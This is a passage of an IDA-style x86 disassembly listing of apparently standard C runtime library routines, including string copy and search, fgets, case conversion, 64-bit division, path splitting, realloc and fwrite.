loc_418E4B ; --------------------------------------------------------------------------- loc_418E3E: ; CODE XREF: sub_418DE0+52j sub edi, 2 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E43: ; CODE XREF: sub_418DE0+4Bj sub edi, 3 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E48: ; CODE XREF: sub_418DE0+47j sub edi, 4 loc_418E4B: ; CODE XREF: sub_418DE0+5Cj ; sub_418DE0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC jmp short loc_418E7C ; --------------------------------------------------------------------------- loc_418E60: ; CODE XREF: sub_418DE0+75j ; sub_418DE0+93j mov dl, [esi] inc esi test dl, dl jz short loc_418E9A mov [edi], dl inc edi dec ecx jz short loc_418E90 test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC loc_418E7C: ; CODE XREF: sub_418DE0+7Ej ; sub_418DE0+CAj mov ecx, ebx and ecx, 3 jz short loc_418E90 loc_418E83: ; CODE XREF: sub_418DE0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_418E92 dec ecx jnz short loc_418E83 loc_418E90: ; CODE XREF: sub_418DE0+8Bj ; sub_418DE0+A1j mov [edi], cl loc_418E92: ; CODE XREF: sub_418DE0+ABj pop ebx pop esi loc_418E94: ; CODE XREF: sub_418DE0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418E9A: ; CODE XREF: sub_418DE0+85j ; sub_418DE0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EA4: ; CODE XREF: sub_418DE0+E4j ; sub_418DE0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_418E7C loc_418EAC: ; CODE XREF: sub_418DE0+7Cj ; sub_418DE0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418EA4 test dl, dl jz short loc_418E9A test dh, dh jz short loc_418EF8 test edx, 0FF0000h jz short loc_418EE8 test edx, 0FF000000h jnz short loc_418EA4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EE8: ; CODE XREF: sub_418DE0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418DE0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F10 proc near ; CODE XREF: sub_407252+2A2p ; sub_40EE72+31DDp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418F31 xor eax, eax jmp short loc_418F33 ; --------------------------------------------------------------------------- loc_418F31: ; CODE XREF: sub_418F10+1Bj mov eax, edi loc_418F33: ; CODE XREF: sub_418F10+1Fj cld pop edi leave retn sub_418F10 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_418F50 loc_418F40: ; CODE XREF: sub_418F50+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_418F50 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_408C26+DBp ; sub_40DAF0+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_418F56: ; CODE XREF: sub_417880+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_418F7B loc_418F68: ; CODE XREF: sub_418F50+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_418F40 test cl, cl jz short loc_418FC4 test edx, 3 jnz short loc_418F68 loc_418F7B: ; CODE XREF: sub_418F50+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_418F86: ; CODE XREF: sub_418F50+61j ; sub_418F50+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_418FC8 and eax, 81010100h jz short loc_418F86 and eax, 1010100h jnz short loc_418FC2 and esi, 80000000h jnz short loc_418F86 loc_418FC2: ; CODE XREF: sub_418F50+68j ; sub_418F50+81j ... pop esi pop edi loc_418FC4: ; CODE XREF: sub_418F50+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_418FC8: ; CODE XREF: sub_418F50+5Aj mov eax, [edx-4] cmp al, bl jz short loc_419005 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FFE test ah, ah jz short loc_418FC2 shr eax, 10h cmp al, bl jz short loc_418FF7 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FF0 test ah, ah jz short loc_418FC2 jmp short loc_418F86 ; --------------------------------------------------------------------------- loc_418FF0: ; CODE XREF: sub_418F50+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418FF7: ; CODE XREF: sub_418F50+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418FFE: ; CODE XREF: sub_418F50+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_419005: ; CODE XREF: sub_418F50+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_418F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41900C proc near ; CODE XREF: sub_408C26+AFp ; sub_40EE72+47F4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_419020 xor eax, eax jmp short loc_419056 ; --------------------------------------------------------------------------- loc_419020: ; CODE XREF: sub_41900C+Ej dec [ebp+arg_4] push esi jz short loc_419050 mov esi, [ebp+arg_8] loc_419029: ; CODE XREF: sub_41900C+42j dec dword ptr [esi+4] js short loc_419038 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41903F ; --------------------------------------------------------------------------- loc_419038: ; CODE XREF: sub_41900C+20j push esi call sub_41E248 pop ecx loc_41903F: ; CODE XREF: sub_41900C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41905A mov [edi], al inc edi cmp al, 0Ah jz short loc_419050 dec [ebp+arg_4] jnz short loc_419029 loc_419050: ; CODE XREF: sub_41900C+18j ; sub_41900C+3Dj ... and byte ptr [edi], 0 loc_419053: ; CODE XREF: sub_41900C+55j mov eax, ebx pop esi loc_419056: ; CODE XREF: sub_41900C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41905A: ; CODE XREF: sub_41900C+36j cmp edi, [ebp+arg_0] jnz short loc_419050 xor ebx, ebx jmp short loc_419053 sub_41900C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419063 proc near ; CODE XREF: sub_409209+BFp ; sub_409209+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_48A0A8 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_419097 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_4190FE loc_41907F: ; CODE XREF: sub_419063+30j mov cl, [edx] cmp cl, 61h jl short loc_419090 cmp cl, 7Ah jg short loc_419090 sub cl, 20h mov [edx], cl loc_419090: ; CODE XREF: sub_419063+21j ; sub_419063+26j inc edx cmp [edx], bl jnz short loc_41907F jmp short loc_4190FE ; --------------------------------------------------------------------------- loc_419097: ; CODE XREF: sub_419063+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_41E709 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_4190F0 push edi call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_4190F0 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_4190F0 push [ebp+var_4] push [ebp+arg_0] call sub_4179C0 pop ecx pop ecx loc_4190F0: ; CODE XREF: sub_419063+53j ; sub_419063+61j ... push [ebp+var_4] call sub_417C3B mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_4190FE: ; CODE XREF: sub_419063+1Aj ; sub_419063+32j pop ebx leave retn sub_419063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419101 proc near ; CODE XREF: sub_40A951+6p ; sub_40A96F+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_48A0A8, 0 push ebx push esi push edi jnz short loc_41912E mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4191C7 cmp eax, 5Ah jg loc_4191C7 add eax, 20h jmp loc_4191C7 ; --------------------------------------------------------------------------- loc_41912E: ; CODE XREF: sub_419101+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_419162 cmp dword_4397AC, esi jle short loc_419150 push esi push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41915A ; --------------------------------------------------------------------------- loc_419150: ; CODE XREF: sub_419101+42j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, esi loc_41915A: ; CODE XREF: sub_419101+4Dj test eax, eax jnz short loc_419162 loc_41915E: ; CODE XREF: sub_419101+ADj mov eax, ebx jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_419162: ; CODE XREF: sub_419101+3Aj ; sub_419101+5Bj mov edx, off_4395A0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_419186 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41918F ; --------------------------------------------------------------------------- loc_419186: ; CODE XREF: sub_419101+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41918F: ; CODE XREF: sub_419101+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_41915E cmp eax, esi jnz short loc_4191BA movzx eax, [ebp+var_4] jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_4191BA: ; CODE XREF: sub_419101+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4191C7: ; CODE XREF: sub_419101+16j ; sub_419101+1Fj ... pop edi pop esi pop ebx leave retn sub_419101 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4191D0 proc near ; CODE XREF: sub_40B822+3Dp ; sub_40D01A+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4191F1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_419241 ; --------------------------------------------------------------------------- loc_4191F1: ; CODE XREF: sub_4191D0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4191FF: ; CODE XREF: sub_4191D0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4191FF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41922A cmp edx, [esp+4+arg_4] ja short loc_41922A jb short loc_419232 cmp eax, [esp+4+arg_0] jbe short loc_419232 loc_41922A: ; CODE XREF: sub_4191D0+4Aj ; sub_4191D0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_419232: ; CODE XREF: sub_4191D0+52j ; sub_4191D0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_419241: ; CODE XREF: sub_4191D0+1Fj pop ebx retn 10h sub_4191D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419250 proc near ; CODE XREF: sub_40B822+24p ; sub_40D01A+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_419272 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4192B3 ; --------------------------------------------------------------------------- loc_419272: ; CODE XREF: sub_419250+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_419280: ; CODE XREF: sub_419250+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_419280 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4192AE cmp edx, [esp+8+arg_4] ja short loc_4192AE jb short loc_4192AF cmp eax, [esp+8+arg_0] jbe short loc_4192AF loc_4192AE: ; CODE XREF: sub_419250+4Ej ; sub_419250+54j dec esi loc_4192AF: ; CODE XREF: sub_419250+56j ; sub_419250+5Cj xor edx, edx mov eax, esi loc_4192B3: ; CODE XREF: sub_419250+20j pop esi pop ebx retn 10h sub_419250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B8 proc near ; CODE XREF: sub_40B8D8+1E3p ; sub_40E6A9+F7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_417AB0 cmp eax, 1 pop ecx jb short loc_4192F3 cmp byte ptr [ebx+1], 3Ah jnz short loc_4192F3 mov esi, [ebp+arg_4] test esi, esi jz short loc_4192EF push 2 push ebx push esi call sub_41ED0D add esp, 0Ch and byte ptr [esi+2], 0 loc_4192EF: ; CODE XREF: sub_4192B8+25j inc ebx inc ebx jmp short loc_4192FD ; --------------------------------------------------------------------------- loc_4192F3: ; CODE XREF: sub_4192B8+18j ; sub_4192B8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_4192FD and byte ptr [eax], 0 loc_4192FD: ; CODE XREF: sub_4192B8+39j ; sub_4192B8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_419375 loc_419310: ; CODE XREF: sub_4192B8+87j mov cl, [eax] movzx edx, cl test byte_48B561[edx], 4 jz short loc_419321 inc eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419321: ; CODE XREF: sub_4192B8+64j cmp cl, 2Fh jz short loc_419335 cmp cl, 5Ch jz short loc_419335 cmp cl, 2Eh jnz short loc_41933B mov [ebp+var_4], eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419335: ; CODE XREF: sub_4192B8+6Cj ; sub_4192B8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41933B: ; CODE XREF: sub_4192B8+67j ; sub_4192B8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_419310 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_419375 cmp [ebp+arg_8], 0 jz short loc_419370 sub edi, ebx cmp edi, esi jb short loc_419359 mov edi, esi loc_419359: ; CODE XREF: sub_4192B8+9Dj push edi push ebx push [ebp+arg_8] call sub_41ED0D mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_419370: ; CODE XREF: sub_4192B8+97j mov ebx, [ebp+arg_4] jmp short loc_41937F ; --------------------------------------------------------------------------- loc_419375: ; CODE XREF: sub_4192B8+56j ; sub_4192B8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41937F and byte ptr [ecx], 0 loc_41937F: ; CODE XREF: sub_4192B8+BBj ; sub_4192B8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4193D2 cmp edi, ebx jb short loc_4193D2 cmp [ebp+arg_C], 0 jz short loc_4193AF sub edi, ebx cmp edi, esi jb short loc_419398 mov edi, esi loc_419398: ; CODE XREF: sub_4192B8+DCj push edi push ebx push [ebp+arg_C] call sub_41ED0D mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4193AF: ; CODE XREF: sub_4192B8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_4193FA sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4193BF mov esi, eax loc_4193BF: ; CODE XREF: sub_4192B8+103j push esi push [ebp+var_4] push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D2: ; CODE XREF: sub_4192B8+CCj ; sub_4192B8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_4193F0 sub eax, ebx cmp eax, esi jnb short loc_4193E1 mov esi, eax loc_4193E1: ; CODE XREF: sub_4192B8+125j push esi push ebx push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 loc_4193F0: ; CODE XREF: sub_4192B8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_4193FA and byte ptr [eax], 0 loc_4193FA: ; CODE XREF: sub_4192B8+FCj ; sub_4192B8+118j ... pop edi pop esi pop ebx leave retn sub_4192B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_40BFE1+19p ; sub_40D633+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41943D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41944A ; --------------------------------------------------------------------------- loc_41943D: ; CODE XREF: sub_4193FF+34j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_41944A: ; CODE XREF: sub_4193FF+3Cj mov eax, esi pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41944F proc near ; CODE XREF: sub_40C259+2Ep ; sub_418603+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41946A push [ebp+arg_4] call sub_417B89 pop ecx jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41946A: ; CODE XREF: sub_41944F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41947F push [ebp+arg_0] call sub_417C3B pop ecx jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_41947F: ; CODE XREF: sub_41944F+20j mov eax, dword_48B688 cmp eax, 3 jnz loc_41958F loc_41948D: ; CODE XREF: sub_41944F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41956B push [ebp+arg_0] call sub_41AD89 mov ebx, eax pop ecx test ebx, ebx jz loc_419546 cmp esi, dword_48B680 ja short loc_4194FF mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41B592 add esp, 0Ch test eax, eax jnz short loc_4194FB push esi call sub_41B0DD mov edi, eax pop ecx test edi, edi jz short loc_4194FF mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4194DF mov eax, esi loc_4194DF: ; CODE XREF: sub_41944F+8Cj push eax push ebx push edi call sub_417390 push ebx call sub_41AD89 push [ebp+arg_0] mov ebx, eax push ebx call sub_41ADB4 add esp, 18h loc_4194FB: ; CODE XREF: sub_41944F+74j test edi, edi jnz short loc_419542 loc_4194FF: ; CODE XREF: sub_41944F+62j ; sub_41944F+81j test esi, esi jnz short loc_419506 push 1 pop esi loc_419506: ; CODE XREF: sub_41944F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_48B684 nop call near ptr 26F0000h mov edi, eax test edi, edi jz short loc_419542 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41952E mov eax, esi loc_41952E: ; CODE XREF: sub_41944F+DBj push eax push ecx push edi call sub_417390 push [ebp+arg_0] push ebx call sub_41ADB4 add esp, 14h loc_419542: ; CODE XREF: sub_41944F+AEj ; sub_41944F+D0j test ebx, ebx jnz short loc_419567 loc_419546: ; CODE XREF: sub_41944F+56j test esi, esi jnz short loc_41954D push 1 pop esi loc_41954D: ; CODE XREF: sub_41944F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_48B684 nop call near ptr 2800000h mov edi, eax loc_419567: ; CODE XREF: sub_41944F+F5j test edi, edi jnz short loc_419588 loc_41956B: ; CODE XREF: sub_41944F+43j cmp dword_48A074, 0 jz short loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_41948D jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_419588: ; CODE XREF: sub_41944F+11Aj ; sub_41944F+123j ... mov eax, edi jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41958F: ; CODE XREF: sub_41944F+38j cmp eax, 2 jnz loc_4196AA cmp esi, 0FFFFFFE0h ja short loc_4195AC test esi, esi jbe short loc_4195A9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4195AC ; --------------------------------------------------------------------------- loc_4195A9: ; CODE XREF: sub_41944F+150j push 10h pop esi loc_4195AC: ; CODE XREF: sub_41944F+14Cj ; sub_41944F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41968C lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41BAE4 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_419670 cmp esi, dword_43B7E4 jnb short loc_419634 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BEAC add esp, 10h test eax, eax jz short loc_4195FA mov edi, [ebp+arg_0] jmp short loc_41962C ; --------------------------------------------------------------------------- loc_4195FA: ; CODE XREF: sub_41944F+1A4j push edi call sub_41BB80 mov edi, eax pop ecx test edi, edi jz short loc_419634 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419613 mov eax, esi loc_419613: ; CODE XREF: sub_41944F+1C0j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h loc_41962C: ; CODE XREF: sub_41944F+1A9j test edi, edi jnz loc_419588 loc_419634: ; CODE XREF: sub_41944F+18Bj ; sub_41944F+1B6j push esi push 0 push dword_48B684 nop call near ptr 26F0000h mov edi, eax test edi, edi jz short loc_41968C movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419655 mov eax, esi loc_419655: ; CODE XREF: sub_41944F+202j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h jmp short loc_419684 ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_41944F+17Fj push esi push [ebp+arg_0] push 0 push dword_48B684 nop call near ptr 2800000h mov edi, eax loc_419684: ; CODE XREF: sub_41944F+21Fj test edi, edi jnz loc_419588 loc_41968C: ; CODE XREF: sub_41944F+162j ; sub_41944F+1F8j cmp dword_48A074, 0 jz loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_4195AC jmp short loc_4196E8 ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_41944F+143j ; sub_41944F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4196D4 test esi, esi jnz short loc_4196B8 push 1 pop esi loc_4196B8: ; CODE XREF: sub_41944F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_48B684 nop call near ptr 2800000h test eax, eax jnz short loc_4196EA loc_4196D4: ; CODE XREF: sub_41944F+260j cmp dword_48A074, 0 jz short loc_4196EA push esi call sub_41AB54 test eax, eax pop ecx jnz short loc_4196AA loc_4196E8: ; CODE XREF: sub_41944F+2Bj ; sub_41944F+134j ... xor eax, eax loc_4196EA: ; CODE XREF: sub_41944F+16j ; sub_41944F+13Bj ... pop edi pop esi pop ebx leave retn sub_41944F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196EF proc near ; CODE XREF: sub_40C8B4+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_419713 xor eax, eax jmp loc_4197E0 ; --------------------------------------------------------------------------- loc_419713: ; CODE XREF: sub_4196EF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_419726 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41972D ; --------------------------------------------------------------------------- loc_419726: ; CODE XREF: sub_4196EF+2Dj mov [ebp+arg_C], 1000h loc_41972D: ; CODE XREF: sub_4196EF+35j ; sub_4196EF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_419761 mov eax, [esi+4] test eax, eax jz short loc_419761 cmp ebx, eax mov edi, ebx jb short loc_419747 mov edi, eax loc_419747: ; CODE XREF: sub_4196EF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_417390 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4197A7 ; --------------------------------------------------------------------------- loc_419761: ; CODE XREF: sub_4196EF+47j ; sub_4196EF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4197AC test ecx, ecx jz short loc_419775 push esi call sub_41A7D0 test eax, eax pop ecx jnz short loc_4197EE loc_419775: ; CODE XREF: sub_4196EF+79j cmp [ebp+arg_C], 0 jz short loc_419788 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41978A ; --------------------------------------------------------------------------- loc_419788: ; CODE XREF: sub_4196EF+8Aj mov edi, ebx loc_41978A: ; CODE XREF: sub_4196EF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4197E5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4197E5 loc_4197A7: ; CODE XREF: sub_4196EF+70j mov edi, [ebp+var_4] jmp short loc_4197D5 ; --------------------------------------------------------------------------- loc_4197AC: ; CODE XREF: sub_4196EF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_419D23 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4197EE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4197D5 mov [ebp+arg_C], 1 loc_4197D5: ; CODE XREF: sub_4196EF+BBj ; sub_4196EF+DDj test ebx, ebx jnz loc_41972D mov eax, [ebp+arg_8] loc_4197E0: ; CODE XREF: sub_4196EF+1Fj ; sub_4196EF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4197E5: ; CODE XREF: sub_4196EF+ADj ; sub_4196EF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_4197F0 ; --------------------------------------------------------------------------- loc_4197EE: ; CODE XREF: sub_4196EF+84j ; sub_4196EF+CFj mov eax, edi loc_4197F0: ; CODE XREF: sub_4196EF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4197E0 sub_4196EF endp ; =============== S U B R O U T I N E ======================================= sub_4197F9 proc near ; CODE XREF: sub_40D000+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 26802F9h cmp eax, 0FFFFFFFFh jnz short loc_419819 call near ptr 26402CBh nop push eax call sub_41EF44 pop ecx 